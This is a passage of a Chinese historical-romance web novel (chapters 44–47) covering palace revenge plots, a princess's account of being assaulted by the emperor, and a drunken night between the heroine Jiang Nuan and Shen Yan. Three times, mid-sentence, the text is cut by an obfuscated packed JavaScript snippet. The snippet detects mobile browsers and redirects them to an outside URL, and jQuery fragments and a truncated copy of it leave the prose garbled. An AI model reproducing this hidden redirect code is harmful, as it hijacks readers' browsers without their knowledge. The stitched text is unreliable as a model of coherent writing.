又说:“往后若还来,不必特意穿男子的衣服。” 温柔乡除了有能歌善舞的女郎,自然也有可谈风月的贴心公子。 见梅娘有意引荐,孟曦爆红了一张脸道:“不不不用了不用了。” 姜暖唰一下站起来,面不改色:“我去见识见识。” 孟曦和苏酥都惊了,连宋怀轩都对她侧目而视,都不矜持一下的么? 梅娘捂着嘴偷笑,“客人,随我来吧。” 姜暖临走时还不忘贴心地嘱咐了一声宋怀轩,她拍着宋怀轩的肩膀语重心长道:“有什么话要慢慢讲清楚,毕竟拒绝也是一门学问。” 宋怀轩:“……” 然后她又走到苏酥的耳边悄悄说:“他喜欢可以徒手抓青蛙的姑娘。” 说完,将孟曦拽出来,她甚至还贴心地带上了房门。 她看了一眼不懂事的孟曦,“要给人家独处的机会,懂?” 孟曦懵懵地点了点头,目送她离开。 ? 她怎么成门神了。 …… “客人贵姓?是第一次来?”梅娘一边引路一边问。 姜暖嗯了一声,道:“免贵姓姜。” 梅娘踩着莲花步在前头摇曳生姿,姜暖总觉得这走路的姿势很眼熟,但是她一时没有头绪。 不一会儿,她被带进了一个比较偏远的房间。 “姜姑娘稍等,妾身去去就来。” 姜暖点点头,梅娘便退了出去。 本以为要等上一会儿,结果她还没将这房间里的布局看完,门口便涌入了七八个穿衣风格极具个人特色的男子。 嚯! 梅娘走在最后头,问:“不知姜姑娘喜欢哪一款?” 不论是柔弱的小生,还是孔武有力的莽夫,抑或风流潇洒的江湖侠客,各种类型应有尽有,真是好一个百花齐放百家争鸣。 姜暖淡定地喝了一口茶,心道这家店真是鸡鸭成群啊。 “掌柜的生意做得倒是挺广。” 梅娘撩了一下头发,笑得开怀:“不过都是讨客人欢心罢了。” 她解释了一番:“从前倒是有过女客过来玩乐,后来女客渐少,那些小子也无处可去,便留了几个在楼内做一些力气活儿。” 又说:“今日姜姑娘既有这兴致,他们也算重操旧业了。” 姜暖有点不自在地清了一下嗓子:“就只剩了这几个?” 梅娘点头:“只留了这几个拔尖的。” 姜暖扫了一眼这几个人,心道确实拔尖,囊括了所有的风格。 梅娘:“姜姑娘看中了哪一个?” 姜暖指了一下那个江湖侠客道:“就他吧。”看着有两把刷子的样子,待会儿试一下他的武功。 她话音刚落,除了被选中的人,其他人都安安静静地退了出去。 这时候从屋内忽然传来几声猫叫,姜暖循声望过去,只见窗台上不知道什么时候蹲了一只橘白花猫。 梅娘面露喜色,忙上前去将猫从头到尾撸了一把。 “元宝,你这几日去哪里玩了?” 说着,元宝又在她怀里蹭了蹭,最后如愿地被抱起来。 姜暖问:“这是掌柜养的猫?”她留意到梅娘左手的腕口露出了红梅的刺青来,她的右手托着元宝的屁股,左手似乎不太能使得上力。 “捡来的,便一直养着。”梅娘抱着猫告辞,嘱咐那留下来的侠客:“随风,好好待客。” 随风木讷地点点头,上前倒酒:“姑娘请喝酒。” 姜暖只觉得他一身匪气,仿佛下一秒就要招呼店小二切一碗酱牛肉端上来,然后一口一个好兄弟,与她把酒言欢。 这真的是男馆吗? 姜暖推开酒杯,道:“露两手我瞧瞧。” 随风抿着嘴:“不太会。” 姜暖眯了眯眼,不动神色地扫了一眼他手上的厚茧。不会?这手上的茧子都要骂人了吧。常年用冷兵器的茧子和干粗活磨出来的茧子可不太一样。 姜暖迅速出拳,对方许是没想到,身体下意识地后撤,连屁股下的凳子都位移了一个砖格。 两人对视一眼,在对方眼中看到了狐疑。 “……” 姜暖接着将手在桌上一撑,腰胯一扭上桌扫腿。对方这次倒是一动不动,结结实实挨了一脚后,迟疑了大概一小会儿才往地上倒去。 姜暖:“……” 这演技也太差了吧。 楼上,梅娘立在窗前听着楼下的动静,元宝还趴在她怀里打呼噜。身后有个婢子担忧道:“随风会不会暴露了?要不要派人去处理一下?” 梅娘道不必了,“她今日来想必是有所怀疑,便让她试探吧。”她转过身来,神色漠然,“她没死在相思蛊下,倒是命不该绝啊。” 反正最要紧的东西殿下已经拿到了。如今李家九族尽灭,皇后疯癫幽禁坤宁宫,太子御前失宠,他们已经算赢了不是么。 广济寺,后山。 日落月升,青竹居内,林嬷嬷正在收拾东西。 王爷在世时最担心的问题终于还是发生了,不知道王妃是如何打算的。 她不由地看着屋外静坐的背影,叹了一口气。 唉,要不是当年发生了那样的事,王妃和世子何至于此啊。 她麻利地将细软收拾妥当,又将床铺掀起来,去床板中间的案格里拿东西。结果伸手一探,里头竟然空空如也。 她大惊失色,忙不迭跑向屋外。 “王妃不好了,不好了。”慌乱之中她被门槛绊了一下,险些摔倒。 王妃回过身来,问:“怎么了?” “那东西不见了!”林嬷嬷惊慌失措,“自从放进去后,奴婢便没再动过,刚刚一看才发现,里头是空的。” 安王妃手里的菩提手串落地,她怔忪了半响,叹了一口气。 “罢了,他派人在这山上监视了我二十年,不就是为了那本脉案么?他拿走了也好。” 林嬷嬷知道,王妃口里的他,是说的皇上。 也是,除了皇上,旁的人也不会打那玩意儿的主意。 安王妃扶着廊柱坐下,将脚边的菩提手串捡起来,“不用收拾太细,我们此次回王府住不了多少日子。” 林嬷嬷道了声好,正要回屋,却听院中的铃铛响了起来。 这是有人在叩门。 安王妃:“应当是晏儿,你去将人领进来吧。” 昭宁城内风言风语传了近一个月,他也该来了。 而此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748699|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的永乐宫内,皇帝正坐在一盘棋局前琢磨。 这是方才他和沈慕朝对弈的最后一局棋,与以往的臭棋篓子完全不一样。开局时不显山不露水,实则锋芒暗藏,直到最后一刻才反败为胜。 险,却也胜了半子。 “好小子,惯会忍。” 早些时候,他便发现了老七在暗中做的一些小动作,李家私采铜矿一事,也是老七递的刀子,倒是替他省了不少事。 就连温家的兵权,也是迟早要收回来的。 温容与还算聪明,早早便做了退隐的打算,但没想到李家的胃口实在是太大了,竟然打起了平南军的主意。 不过欲要其亡,必使其狂。 所以对于李家和谢既明之间的勾结他选择睁一只眼闭一只眼,任由李家野心膨胀,最后玩火自焚。 只是他没想到的是,皇后竟然为了一点芝麻大的小事,蠢到搅合进李家的腌臜事里去。 这样也好,如此善妒之人也不堪为后。 皇帝吹了吹茶水,抿了一口,问万来祥:“老七去哪儿了?” 万来详低头回道:“禀圣上,七殿下偷偷去了坤宁宫。” 皇帝冷哼了一声,道:“朕就知道他坐不住。” 万来详没搭话,一直低头候着,等待着皇帝的指令。 “罢了,由他去吧。”半响,皇帝挥了挥手,万来详才悄无声息地退下了。 月高高,星寥寥。 坤宁宫内,落针可闻。 沈慕朝绕过守卫,轻而易举地越过了墙头,他小声地哼着歌推开了内殿的大门。 殿内漆黑一片,他将火折子吹燃,点燃了一盏烛台。 烛火微光中,他的脸好似罗刹,空寂的殿内回荡着他靴子与地板的摩擦声。 “母后,儿臣来看你了。” 火光将他的身影拉长,他举着烛台一步又一步地朝着殿内走去,乍一看仿佛黄泉路上接引孤魂的掌灯人。 皇后躺在寝床上,两颊凹陷,衣冠不整,头发凌乱,怀中抱着一顶金灿灿的凤冠。 见到来人,她挣扎着坐起来,废了好大的力气才将床上的枕头举起来,朝他扔过去,“滚!”她的声音嘶哑,却包含着滔天的怒意。 “贱……种……” 沈慕朝笑出声来,满脸关切:“母后是什么时候清醒的?怎么不向太医说呢?” 皇后没说话,或许是没有力气再说话,她只是看着他,恨不得把他扒皮拆骨。 她竟不知是什么时候着了此子的道,当着文武百官和皇上的面将那事抖了个干干净净,就连后来的太医也被他收买,让她以疯癫之症被幽禁在此。 沈慕朝将灯台搁在床头,恍然大悟般哦了一声,“那太医先前同我说过,原来是我给忘了呢。” “百般呼救却无人在意的滋味如何?”他脸上的笑意陡然收了回去,对眼前的人露出了藏匿许久的恨意,“皇、后、娘、娘。” 皇后突然无声笑起来,她还道这贱种为何敢胆大包天算计她,她竟给忘了,这贱种的母妃是死于她的手,他耍这一出是为了给他母妃报仇啊。 “你笑什么!”沈慕朝突然逼近,将皇后的脖子掐住,恨不得现在就让她一命呜呼,但又觉得这实在是太过便宜她了。 理智战胜了愤怒,他松开手,嫌弃地掸了掸衣袖。 “娘娘想知道自己为何会忽然发疯吗?” 皇后顿时收了笑恶狠狠地看着他。 他不急不慢道:“守忠公公,可是帮了我一个好大的忙。” 45. 第 45 章 皇后瞪大了眼睛,双肩开始颤抖,她哑着嗓子大喊:“不可能。” 守忠没有背叛她的理由,他们是一条绳上的蚂蚱,这些年有多少事都是他亲手料理的。况且她待他如此好,他没有理由背弃旧主。 沈慕朝将她的震惊尽收眼底,突然觉得心情大好,他找了个凳子坐下来。 “娘娘可还记得,我的母妃叫什么名字?” 皇后的表情有些怔愣,那个卑贱的婢子已经死了二十年了,谁会记得一个贱奴的名字呢。 可是总有人会记得,一辈子也忘不了。 “她叫云心兰。” 她入宫的时候不过十五岁,是宫中最低等的宫女,每日做着洒扫的粗活儿,日夜盼着年满二十五岁之后出宫过自己的日子。 可是她死在了二十八岁的年纪,被关在冷宫里,叫天天不应叫地地不灵,最后被活活饿死了。 “这一切都是拜你所赐!”沈慕朝红了眼睛。 皇后嘴里嘀咕了几遍这个名字,突然想到了什么。她瞪着一双眼睛,宽松的衣袍下身子微微发抖,好几日未修剪的指甲将掌心掐出了印子来。 原来是这样!竟然是这样! 守忠那早死的心上人竟然是云妃! 怪不得!怪不得就算会丢了性命也要背叛她! 沈慕朝居高临下地看着眼前仪态尽失的皇后,眼中裹挟着化不开的仇恨。如果不是眼前这个女人,他或许就不会失去母亲,不会在宫里装疯卖傻靠穿女装才能活下来。 他转身离开坤宁宫:“皇后娘娘,你赎罪的日子还长着呢。” 静山广济寺,青竹居。 林嬷嬷将人领进来,安王妃已经在屋内沏好了茶水。 沈晏一路走来心事重重,落了座才道:“母亲从未在寻常的日子答应见我。”他在来的路上仍在纠结,他不知道自己是害怕知道了当年的真相还是害怕母亲拒绝见他。 安王妃打量着她这么多年来从不曾亲昵过的儿子,她开口唤他晏儿。沈晏猛地抬头,连呼吸都轻了一瞬。 林嬷嬷退了出去,将门带上。 沈晏的气息有点不稳,嘴唇有轻微的颤抖。一直以来,母亲从没有这么叫过他。心中还未欢喜片刻,便听见他的母亲用方才温柔的声音说出了最残忍的一句话。 “其实当年我并不期待你的出生,甚至……”安王妃面露痛苦,“至今都恨着,恨你不该出现在我的肚子里。” 她虽然知道这个孩子是无辜的,但是也是因为这个孩子,她被困在了那晚,被迫反复咀嚼着痛苦。 她走不出来。 沈晏如遭雷击,心头虽早已明白母亲可能像爱哥哥一样爱着他,但亲耳听到母亲对自己的厌恶,对他来说无异于利刃剖心。 “为什么?” 为什么,他一直想问为什么,为什么母亲喜欢哥哥不喜欢他?为什么宁愿一个人住在这清冷的寺庙也不愿意待在王府母慈子孝。 从前,他一直说服自己,是因为小时候的他贪玩导致体弱的哥哥去世,父亲也因丧子之痛身体每况愈下,最后早早便离开了人世。母亲因此才一直怪他,怨他,所以不想见他。 可现在,他终于知道了,母亲是恨他,恨他不该借她的肚子来到这个世界上。他流下了两滴泪,嘴唇颤抖:“因为我不是父亲的孩子吗?” 安王妃闭上了双眼,手中的菩提手串被她紧紧地握在手里,心口似乎被细绳绞住,生出喘不过气的疼来。 “在嫁给你父亲之前,我其实是不爱他的。” 拂微风,云飘扬。 故事的一开始,相爱的两个人原本是林语骄和沈博彦。 先皇在位时,膝下共有三十多个孩子,公主皇子众多,先皇后又是个行事果断的性子,将后宫的妃嫔都管理得服服帖帖,也算和和睦睦地过了几十年。 直到十几个皇子陆续出宫开府了,在立储的问题上便有了几次不大不小的摩擦。好在当时皇后尚在,后宫的那几个常冒头的也翻不起多大的浪。 只可惜,好景不长,皇后突发疾病走得匆忙。这后宫也开始变得乌烟瘴气起来,前朝又与后宫息息相关,那段时间可谓是波云诡谲。 沈博谦和沈博彦是一母同胞的兄弟,只差了三岁。因为母妃早逝,娘家在朝中也并不得势,所以他们在一众皇子中并不起眼。加之兄长沈博谦从小便患有心疾,这导致他俩一开始就被排除在了争储的争斗之外。 林语骄的祖父当时是负责给皇子公主们授课的太傅之一,林语骄因为年纪与几位公主年级相仿,便入宫当了个陪读。 但她因为无趣不得公主们的喜爱,后来便机缘巧合地同沈博谦两兄弟玩到了一起,这或许是边缘人的惺惺相惜吧。 沈博谦因为身体原因,所以总是坐在旁边看着他们二人打闹嬉戏,而他的目光总是很柔和地放在了那个略显呆笨的姑娘身上,轻到她一次都没发现过。 他们三个人很快便成为了无话不谈的好朋友,林语骄的眼里也总有那个一边骂她笨一边帮她包扎伤口的少年。 后来他们二人便互通了心意,沈博谦得知后第一时间祝福他们,并嘱咐弟弟一定要好好待她。“昭昭如愿,岁岁安澜。”他笑着摸了摸林语骄的头,替她拂去了发间落叶。 林语骄的小名恰好就是昭昭,当初祖父为她取的这个小名便是源于此句。 可人世间的事,总是事与愿违。 后来,沈博彦娶了大将军李敬修的外孙女郭媛,借了李家的势成为了太子之位角逐的最后赢家,并于二十二岁顺利登上了皇位。 而林语骄一怒之下在沈博彦大婚的第二年便嫁给了他的哥哥沈博谦。婚后不久,沈博谦见妻子整日郁郁寡欢,便带着她一路南下,几乎将大昭的国土游赏了大半。 一直到新皇登基,他们才返回故土,并且已经孕育了一个新的生命。 三人再见时,林语骄早已释然了,她劝身为皇帝的沈博彦放下:“皇后娘娘是一位很好的妻子,你应该好好对她。” 新皇沉默着亲自将安王和安王妃送到了宫门口。 时间过得很快,转眼便到了承安六年,太子的周岁宴。 宫内设下盛宴,邀文武百官于长乐宫内同庆。因为独子体弱不宜去人多的地方,安王便只携了安王妃前往宫中赴宴。 可谁知宫女不小心打翻了酒壶,一个小太监将她领到了一处偏殿更衣。 “可我没想到,这一早就是被安排好的。”安王妃说到此处,因为情绪波动导致她停息了片刻才继续说道:“那夜乌云蔽日,我刚进偏殿就发现殿内不止我一个人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753177|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她当时本想离开,却被小太监手快关上了房门。熟悉的脚步声响起,她回头,皇帝的脸逐渐在昏暗的房间里变得清晰起来。 他似乎是喝了酒,衣服上染上了烈酒的味道,絮絮叨叨地说着她根本就不想听的话。她求他放她走,她的夫君还在宴席上等她回去。 也不知道是那一句惹恼了皇帝,他拉着她的手一用力就将她圈在了怀里,动弹不得。 噼里啪啦—— 那串菩提珠终于承受不住拉扯的力量,落了一地。 “他怎么可以……怎么可以……” 事发后不久,皇后匆忙赶来寻皇上,她被万公公仓皇中送走。 她离宫后本欲一死了之,可她的夫君紧紧搂着她,温和地说:“可我不想失去你,我还有漫长的余生需要你陪。” 那日后不久,她便同安王离开了昭宁城,寻了个四季如春的地方散心。原本想着远离了那座皇城,身边又有夫君相伴,或许用不了多久,她便会觉得那晚不过是做了一场恶梦。梦醒了,自然也就好了。 可谁知,她竟然发现自己怀孕了。 她崩溃大哭,想将孩子流掉,但大夫说堕胎药药性猛烈,可能会对身体造成不可估量的损伤。 安王搂着她,一遍又一遍地说,这是他沈博谦的儿子。 最终这个孩子得以留了下来。 孩子出生的时候,皇上到底是知道了,派了好几个太医来,左右不过是打听这个孩子到底是不是那晚怀上的。她将一早准备好的脉案拿出来,说这孩子早了两个月出生。而真的脉案,她原本是打算烧了,但被安王偷偷留了下来。 “……” 沈晏全程一动不动,异常平静地将这个荒唐的故事听完了。他的思绪陷入了极度混乱的状态,脑海中时不时涌现出小时候被皇上抱在怀里练字和儿时生病高热时睁眼总会看到皇上的画面。 原本一开始,安王妃是打算将他当成是安王的儿子养的,但…… “你像极了皇上。”安王妃看着他的眉眼道:“我没办法对着这么一张脸还保持着心平气和。”皇上虽然同安王是一母同胞的亲兄弟,但眉眼间还是有些许差别,安王的眼睛要柔和一些,显得人温润谦和。 沈晏动了动僵硬的身体,他过了半晌才找回了自己的声。 “母亲,你受苦了。” 安王妃擦泪的手停了一瞬,眼里的泪水大颗大颗地落下来。泪水朦胧中,她看到了沈晏开门离去的背影。 他唯有这个背影像极了安王。 她快步跑到屋外,大喊:“晏儿,你的父亲说过你永远是他的孩子。”是她这个母亲的错,将他带到这个世界上,却又不爱他。 林嬷嬷扶着她摇摇欲坠的身体,眼里含泪道:“王妃……” 飒飒飒—— 夜风乍起,沈晏于黑夜中沉默地走着,孤寂的背影在台阶上缓慢地移动,风撩起他的衣摆,冷气一股脑儿地往他的衣服里钻。 从前只知晓北荒的罡风会将人的皮肤撕裂,没想到这昭宁城的夜风也如此让人痛彻心扉。山脚下,踏岳打着响鼻,前蹄在泥地上担忧地踏了两三下。 沈晏上前,抱着马头原地站了一会儿,一个翻身坐上了马,马儿前蹄扬起,哒哒哒地朝着内城跑去。 “我们回家,找她。” 46. 第 46 章 姜暖从温柔乡回来的时候,已经是后半夜了。月亮被云层遮蔽,康伯提着一盏灯笼立在门口,见她终于回来,皱巴巴的五官瞬间舒展开来。 “姜姑娘,你可算回来了。” 姜暖疑惑:“康伯你怎么还没睡?”不会是沈晏出什么事了吧,难道是安王妃那边出了什么状况吗? 康伯提着灯笼在前头引路,叹了一口气:“世子一回来便喝了好多的酒,琴瑟院里堆满了酒坛子……再这么喝下去,身体要出大问题的。” 琴瑟院? 姜暖从康伯手里拿过灯笼,“康伯你回去睡吧,我去看看。” “唉好。”康伯停下了脚步,不放心地嘱咐道:“世子酒量不好,若闹了脾气您多担待,小厨房备了醒酒汤,让世子喝了再睡。” 姜暖满口答应下来,挥挥手让这个上了年纪都有点驼背的老人早些休息。 她一个人踩着灯笼光,脚下生风地穿过曲折的回廊,踏进黑乎乎的琴瑟院。还未进拱门,就闻到了一股浓烈的酒味儿。 这味道,她还以为进了丐帮总舵呢。 往里头走了两步就不小心踢到了一个空坛子,发出了一声咕噜噜的响声。 “你回来啦……”沈晏的声音有点黏糊糊的,姜暖猜测他估计喝了起码有三坛子。她提着灯笼走近院中的石桌,将灯笼放在桌子上,环顾四周。 好家伙,这桌上地上起码放了有七八个空酒坛子,还有十多个没拆封的整整齐齐地码在沈晏的脚边,还摆了个军阵。 搁这儿点兵呢。 “你怎么……回来得这么晚……”沈晏支着头,他的脸一半藏在阴影里,一半镀着灯笼光,睫毛上似乎有亮闪闪的小水珠,看着很委屈的样子。 他说:“我等你好久了。” 姜暖倒吸了一口气,心率突然暴涨。 “你为什么,都,不说话。”沈晏见姜暖没动静,屁股往前挪了一下,膝盖抵住她的膝盖,悄悄地伸手拽了一下她的裤腿。 力道很轻,跟被小猫伸爪子踩了一脚没什么太大的区别。但姜暖却几乎承受不住这样的力道,心里酥酥麻麻的,感觉有什么东西在心脏里挠她。 她的声音不由地放轻了许多:“你怎么喝了这么多的酒?” 沈晏幅度很小地瘪了一下嘴,“因为难过。” 姜暖疯狂地搓着自己的指腹,告诫自己要时刻保持冷静,但最后还是败给了沈晏一声沙哑的“小师姐”。 她没忍住,抬头去摸沈晏的头,干巴巴地哄着:“难过就哭一哭,睡一觉就好了。”她没咋哄过人,这词儿还是抄的她师父。 她不摸这一把还好,刚搓了两下沈晏就顺着力道以一个非常流畅顺滑的角度将头枕在了姜暖的腿上。“小师姐你知道吗,我的母亲今日说她从来没有爱过我。” 姜暖的内心像个烧水壶开了一般吼叫:那你也跟她这般撒娇示弱啊,说不定立马就爱了。 “这个,我也帮不了你。”她看着腿上的侧颜,没想到他竟然会因为这个悲伤至此,“因为,我的母亲也不爱我。” 她从小就被卖掉了,因为她不是儿子。 后来虽然被人领养,但养父养母并不喜欢她,收养她不过是因为慈善的虚名,她不过是恰好被挑中的那个小孩。 后来流落在外,一直到遇到师父,她再没有过母亲,只有给饭吃的老板。 沈晏转了转眼珠,一时盯着姜暖的下巴出了神。他似醉非醉,心头虽难过,但其实是解脱居多。就像一个查案的官差苦苦追寻了许久的真相,真相大白的那天,答案虽不是称心如意,但好歹是水落石出了。 那颗悬挂在毛驴前面的苹果终于被小鸟啃食殆尽了。 姜暖低下头来看他,两人四目相对。她说:“可那又如何?”她眼里满是不以为意,“我并不靠他们的爱活着,纵使他们不爱我,我也活得好好的。” 沈晏的思绪变得很慢,他只知道此刻姜暖说话的声音很好听,说的话也好听。姜暖说完便抬起头不看他,只是手在他的太阳穴附近揉按着,力道不轻不重,刚好合适。 沈晏不由地深深地吸了一口气,直到鼻腔中满是姜暖身上的味道。那是一种很特别的,像是雨后初晴,躺在郊外的草地上,风的味道。 “小师姐,我想告诉你我意中人的名字。”他蜷缩了一下手指,揪着姜暖衣服上一小块布料不松手,小心翼翼地问:“你想听吗?” 他的贪心在此刻一念起,想将那股清风永远纳入怀中。 姜暖扒拉了一下他的脑袋,语气严肃:“沈晏。” 沈晏起身,双手撑在她的膝盖上,期待地说:“小师姐要同我说什么?” 姜暖用食指抵住他的额头,面无表情道:“你的脑袋好重,压得我腿麻了。”目光若有所指地看了看他的双手,毫不客气将人推回去坐好。 沈晏眼里闪过一丝落寞,垂着头的模样像街边被抛弃的流浪狗。 “你究竟喝了多少?”姜暖问,怎么看着也不像酩酊大醉的样子,思绪活泛得很嘛。 沈晏抬起头,有些迟钝地抬手将目光可及的空坛子数了数,皱着眉头道:“好像是……五坛。” “不对。”姜暖玩心大起,觉得沈晏方才数坛子的模样有趣极了,便逗道:“你再数数?” 沈晏的表情呆滞了一下,他对自己的算数很有信心,但是…… 他看了一眼姜暖一脸认真的模样,还是听话地重新数了一遍,可是不管数来数去,都是五个空坛子。他喝醉了之后,反应确实会迟钝一些,但是头脑一向是很清楚的。 “你骗我。”沈晏有点生气,但是他醉了之后连表情都会变得慢半拍。姜暖忍着笑,从暗黑中捞了一个空酒坛出来放在桌上,又哄他:“没骗你,你再数一次?” 沈晏侧过了身子,不想搭理她了。 姜暖拉他的袖子:“你再数一次嘛,还是五个就算我输好不好?” “赢了,有奖励吗?”沈晏慢吞吞地问。 “有有有,当然有。”姜暖忙不迭回道,“赢了给你发个小红花好不好?” 沈晏哼了一声,道:“我才不要这个。”这听起来像是哄小孩儿的东西。 “那你想要什么?”姜暖问,反正他又不会赢。 沈晏将身体扭回来正对她道:“你听我说完我心上人的名字。”停顿了一下,严肃道:“不许再打岔。” 姜暖被沈晏的眼神看得心头狂跳,她咽了咽口水,敷衍道:“答应你,答应你。”这孩子怎么对告白这种事这么执着呢。 沈晏听完姜暖的保证,这才抬起手重新数起空坛子,笼罩在他眉宇间的低气压此刻终于释放了一些。 “一、二、三、四、五……六……”数完后,沈晏的大脑有片刻的宕机,他又不相信地重新数了一遍,发现还是六。他抬起头看姜暖,怔怔然:“怎么是六个?” “哎呀,世子你输了。”姜暖可惜道,但表情其实有点欠揍。 沈晏非常不高兴,然后他当着姜暖的面,捞起桌子上一个空坛子唰地一声就扔出去了。“现在是五个了。” 飞出去的酒坛子撞在墙壁上,哐当一声撞碎了,落了一地的碎片,恰如姜暖此时脸上的表情。 好家伙,堂堂沈晏沈世子,竟然当着她的面作弊!简直是厚颜无耻! 既然如此,那她也不讲武德了。 姜暖抄起一坛酒,吨吨吨喝完,然后将空坛子往桌子上一放,“现在还是六个!” 刚刚还笑着的沈晏又垮起了脸,又一掌打飞一个。 “五个。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757333|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜暖气得连喝了三四坛才发现不对,她多砸一个变成四个不就行了吗,为什么非得喝酒凑六个? 真是被鬼摸了脑壳! 她伸手去摸空坛子,沈晏像是知道了她要做什么,眼疾手快地将幸存的五个空坛子笼在了自己的怀里,气得姜暖扑过去抢。不过刚刚她喝酒喝得有点猛,这会儿酒劲儿上来了她有点晕晕乎乎了。 不是说古代的酒水度数都不高吗?她怎么感觉这酒劲儿还有点大呢,她走路都有点飘了。 两个醉鬼,一个反应迟钝,一个走路走不直,竟然还玩起了老鹰抓小鸡。 “沈晏你给我站那儿!” 沈晏抱着空坛子,走得比较慢但是挺稳当的。“不,你要摔我的坛子。” 姜暖一边控制着自己走直线,一边哄骗道:“我不摔,我就看看。” 被吵醒的康伯揉着眼睛领着两家丁过来看看发生了什么事,结果就看到两人在院中你追我赶。 “……” 瞧着有点眼熟,好像当年王爷王妃恩爱时也这么闹过,不过当时好像是王爷追着王妃挠痒痒。 吩咐人将两碗醒酒汤偷偷放到桌子上后,康伯就领着人退下了。 应该也出不了什么事。 结果,那两碗醒酒汤,两个人根本就没喝。 沈晏溜着姜暖跑了好几圈,他也累了,便抱着酒坛子往小院外走。 “该睡了。” 姜暖追在后面,眼里只有摔坛子的渴望,跟着他的脚步出了琴瑟院的拱门,一路跟进了他的卧房。 沈晏或许是真的折腾累了,加上抱着坛子不方便洗漱,他竟然直接就在床榻上睡了。怀里还抱着宝贝似得空酒坛,姜暖扒拉了几次都没扒拉开他的手,倒是把自己累的气喘吁吁。 她将人往里头拱了拱,十分自然地在床边边躺下了。酒醉的她并不觉得这有什么不妥,因为在以前,他们任务圆满完成后都会有庆功宴,一群出生入死的兄弟喝得酩酊大醉,最后互不嫌弃地挤着一起睡,跟个大通铺似的。 等到第二天一大早,两人自宿醉中醒来时,姜暖才发现这床好像不是自己常睡的那一张,而且脖子一侧有一道暖烘烘的热气富有节奏地喷吐,胳膊上的触感好像是温热的。 姜暖闭上了眼,绝望地在心里祈祷:最好是一只狗,最好是一只狗。 祈祷完,她缓慢地偏过头去,异常紧张地睁开了眼,然后和一双熟悉的眼睛对上了。 两人四目相对,一时相顾无言。 姜暖佯装镇定地从床上爬起来,然后淡定地穿好了鞋子,打算若无其事地走出这间屋子。 “小师姐,你会负责的,对吧。” 正打算开门的姜暖背脊微僵,食指扣着门框上的漆,回道:“昨晚又没有发生什么,负哪门子的责?”他们俩衣服都没乱,不就是贴着睡了一晚上,她贴着睡过的人多了去了,难不成都要负责。 说罢她打开门就要走,却迎面撞上匆匆而来的康伯。 “世子,宫里来人说皇上召你入宫。”说完才发现门口立着的哪里是世子,分明是姜姑娘。康伯狐疑地看着姜暖,问:“咦,姜姑娘怎么在世子房里?” 看这模样倒像是从里面出来,而且还一身酒气…… 不等康伯继续发散思维,姜暖抢先道:“哦,昨夜世子没喝醒酒汤,我过来瞧瞧世子难不难受。” “原来如此。”康伯若有所思地点点头,嘀咕道:“我刚刚还以为姜姑娘昨夜睡在世子房里呢。” “怎么可能!” 见康伯似乎是信了,姜暖慌忙告辞:“那你们聊,我出去跑两圈,哈哈哈。” 才走了两步便开始跑了起来吗,跟背后有狗撵似得一下就没了人影。 喝酒误事啊,喝酒误事。 47. 第 47 章 上书房中,皇帝又在案牍上作画,画上的依旧是云妃娘娘那张脸。 入秋后,昭宁城时有夜雨,天气也逐渐转凉。皇帝的咳疾总不见好,反而有严重的迹象。他这两年畏冷,刚一入秋,这殿内就摆上了两个炭盆,烘的整间屋子暖洋洋的,宫女和太监都强撑着眼皮,唯恐睡过去误了差事。 “来祥,你来看看像不像。”皇帝搁了笔,对万来祥招手。 万来祥堆着笑脸上前看了一眼,拍马屁道:“皇上这手丹青已达到出神入化的境界了,这岂止是像,简直要从画里走出来一样。” 皇帝岂能不知他这是在睁眼说瞎话,受用地笑了两声又问:“那你说,朕画得是谁?” 万来祥眼珠子一转,挑了个稳妥的答案:“自然是皇上思念之人。” “你这人精……”皇帝无奈地用手指了指他。 他这么些年就只画过一个人,画中人究竟是谁,他们都心知肚明,只不过从来就不曾将那个名字说出来。 皇帝端起茶杯,似乎是一时兴起,同万来祥聊起了近日的政务。 “来祥啊,你觉得太子怎么样?” 近日,朝中有多位大臣都上书要求废除太子,只因皇后和李家一事。太子知情与否尚无定论,但太子作为储君实在能力不足,已是难以服众。 前朝的风向万来祥自然是清楚的,他躬着身子略想了一下措辞,便回道:“旁的奴才不清楚,只觉得太子对咱们这些奴才向来都是客客气气的,就算犯了一点小错,太子也从未有过责罚,向来都是大事化小小事化了,最是心善。” 皇帝听完哼了一声:“妇人之仁。” 如今大昭内忧外患,太子又是这般优柔寡断的性子。若有一日坐上九五之尊之位,只怕是要被手底下一些老东西拿捏得死死的,难成大器。 “朕时日无多,太子又难堪大任。”皇帝将茶杯放下,又道:“来祥觉得朕应该选谁作为大昭的储君?” 此话一出,殿内一干太监宫女啪啪啪跪了一地,包括万来祥。 